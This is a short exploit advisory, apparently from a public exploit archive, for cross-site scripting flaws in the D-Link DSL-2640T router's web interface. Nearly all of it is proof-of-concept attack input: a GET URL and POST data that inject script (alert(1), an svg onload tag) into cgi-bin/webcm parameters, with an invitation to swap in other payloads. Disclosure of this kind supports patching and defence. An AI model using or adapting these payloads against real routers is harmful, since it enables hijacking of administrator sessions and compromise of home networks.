D-Link DSL-2640T suffers from a cross site scripting vulnerability.
3712d8f7c8ca36504485f494d58b2c34212804708bf1bdddd31b818b75efc225
# Exploit Title: Multiple XSS Vulnerabilities in D-Link DSL-2640T
# Exploit Author: Anas Falhi/m0ti0nl3ss ,https://anasfalhi.blogspot.com.
# Tested on: D-Link DSL-2640T
# Tags: xss, cross site scripting, D-Link DSL-2640T router
POC:
a!XSS via GET
URL:
https://192.168.1.1:5050/cgi-bin/webcm?getpage=../html/home/home_RelaodHref.htm&var:RelaodHref=
"-alert(1)-"
----------------------------------------------------------------------------------------------------------------------------------------------------------------
a!XSS via POST
URL: https://192.168.1.1:5050/cgi-bin/webcm
Post Data: getpage=..%2fhtml%2fhome%2fwanPPP.htm&var%3aconid="><svg/
onload=alert(1)>&var%3amycon=yyyy&var%3apreForm=bbbb&var%3acontype=vvvv&var%3acontypeReal=
Note: Replace: yyyy, bbbb, vvvv with your XSS payload